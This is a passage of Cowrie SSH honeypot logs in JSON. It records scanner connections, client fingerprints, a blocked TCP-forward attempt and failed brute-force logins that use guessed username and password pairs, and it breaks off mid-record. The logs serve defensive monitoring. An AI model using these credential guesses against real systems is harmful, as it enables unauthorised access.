{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.156.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.156.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:32.995204Z","src_ip":"77.90.185.17","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.156.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03<\\xa7\\xc3z\\x92\\x7f\\xdf\\xcd#\\x85\\x93\\xabGv\\x18\\x12\\x1d\\xa7P\\xa2(\\xe9\\xb3\\x05\\xcd;\\xbb\\xbb\\xf8\\xc1\\xb7\\xe9 c_\\xd4+\\x82\\xf4\\x80\\xf5\\xb6\\xc2\\xe9;\\xa4\\xa7\\x80\\xd0\\xdd\\r\\xb7E\\xd3\\xa5pb\\x03n\\x80zAS\\xb0#\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\\\\\xc3\\xa8\\xe1\\xe7J\\xca\\xf8$\\xac\\xbc?\\xd5\\x91\\xb8piG\\x10\\xc4\\xb8\\n?\\x86\\x92\\xa9\\xe4\\xf1\\x87\\x87\\x0f&\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.156.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03<\\xa7\\xc3z\\x92\\x7f\\xdf\\xcd#\\x85\\x93\\xabGv\\x18\\x12\\x1d\\xa7P\\xa2(\\xe9\\xb3\\x05\\xcd;\\xbb\\xbb\\xf8\\xc1\\xb7\\xe9 c_\\xd4+\\x82\\xf4\\x80\\xf5\\xb6\\xc2\\xe9;\\xa4\\xa7\\x80\\xd0\\xdd\\r\\xb7E\\xd3\\xa5pb\\x03n\\x80zAS\\xb0#\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\\\\\xc3\\xa8\\xe1\\xe7J\\xca\\xf8$\\xac\\xbc?\\xd5\\x91\\xb8piG\\x10\\xc4\\xb8\\n?\\x86\\x92\\xa9\\xe4\\xf1\\x87\\x87\\x0f&\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:32.998756Z","src_ip":"77.90.185.17","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:33.138123Z","src_ip":"77.90.185.17","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.100.64.148","src_port":35758,"dst_ip":"10.17.0.5","dst_port":22,"session":"91e7a9854de6","protocol":"ssh","message":"New connection: 78.100.64.148:35758 (10.17.0.5:22) [session: 91e7a9854de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:58.159149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:58.164465Z","src_ip":"78.100.64.148","session":"91e7a9854de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:58.400658Z","src_ip":"78.100.64.148","session":"91e7a9854de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"desarrollo","password":"password","message":"login attempt [desarrollo/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:59.380724Z","src_ip":"78.100.64.148","session":"91e7a9854de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:00.619380Z","src_ip":"78.100.64.148","session":"91e7a9854de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":50258,"dst_ip":"159.203.135.109","dst_port":22,"session":"233f766bed38","protocol":"ssh","message":"New connection: 135.181.101.111:50258 (159.203.135.109:22) [session: 233f766bed38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:29.098096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:29.102926Z","src_ip":"135.181.101.111","session":"233f766bed38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:29.210914Z","src_ip":"135.181.101.111","session":"233f766bed38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"students","password":"students","message":"login attempt [students/students] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:29.429484Z","src_ip":"135.181.101.111","session":"233f766bed38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:30.538733Z","src_ip":"135.181.101.111","session":"233f766bed38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59744,"dst_ip":"159.203.135.109","dst_port":22,"session":"a04c8f205e37","protocol":"ssh","message":"New connection: 195.178.110.218:59744 (159.203.135.109:22) [session: a04c8f205e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:55.566063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:55.570251Z","src_ip":"195.178.110.218","session":"a04c8f205e37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:55.656350Z","src_ip":"195.178.110.218","session":"a04c8f205e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:55.901145Z","src_ip":"195.178.110.218","session":"a04c8f205e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:55:56.982494Z","src_ip":"195.178.110.218","session":"a04c8f205e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.100.64.148","src_port":37971,"dst_ip":"10.17.0.5","dst_port":22,"session":"5db73681ef9b","protocol":"ssh","message":"New connection: 78.100.64.148:37971 (10.17.0.5:22) [session: 5db73681ef9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:28.527027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:28.531421Z","src_ip":"78.100.64.148","session":"5db73681ef9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:28.787470Z","src_ip":"78.100.64.148","session":"5db73681ef9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jerry","password":"jerry@123","message":"login attempt [jerry/jerry@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:29.841132Z","src_ip":"78.100.64.148","session":"5db73681ef9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":60792,"dst_ip":"10.17.0.5","dst_port":22,"session":"41276d6b745e","protocol":"ssh","message":"New connection: 20.244.95.173:60792 (10.17.0.5:22) [session: 41276d6b745e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:30.747303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:30.751283Z","src_ip":"20.244.95.173","session":"41276d6b745e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:30.960433Z","src_ip":"20.244.95.173","session":"41276d6b745e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:31.098721Z","src_ip":"78.100.64.148","session":"5db73681ef9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joseph","password":"joseph","message":"login attempt [joseph/joseph] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:31.382743Z","src_ip":"20.244.95.173","session":"41276d6b745e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:32.594176Z","src_ip":"20.244.95.173","session":"41276d6b745e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.204.10.19","src_port":44072,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f7c49ebe5b7","protocol":"ssh","message":"New connection: 34.204.10.19:44072 (159.203.135.109:22) [session: 8f7c49ebe5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:45.953106Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52237,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c019969532f","protocol":"ssh","message":"New connection: 2.57.121.25:52237 (10.17.0.5:22) [session: 8c019969532f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:47.904936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:47.909658Z","src_ip":"2.57.121.25","session":"8c019969532f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-s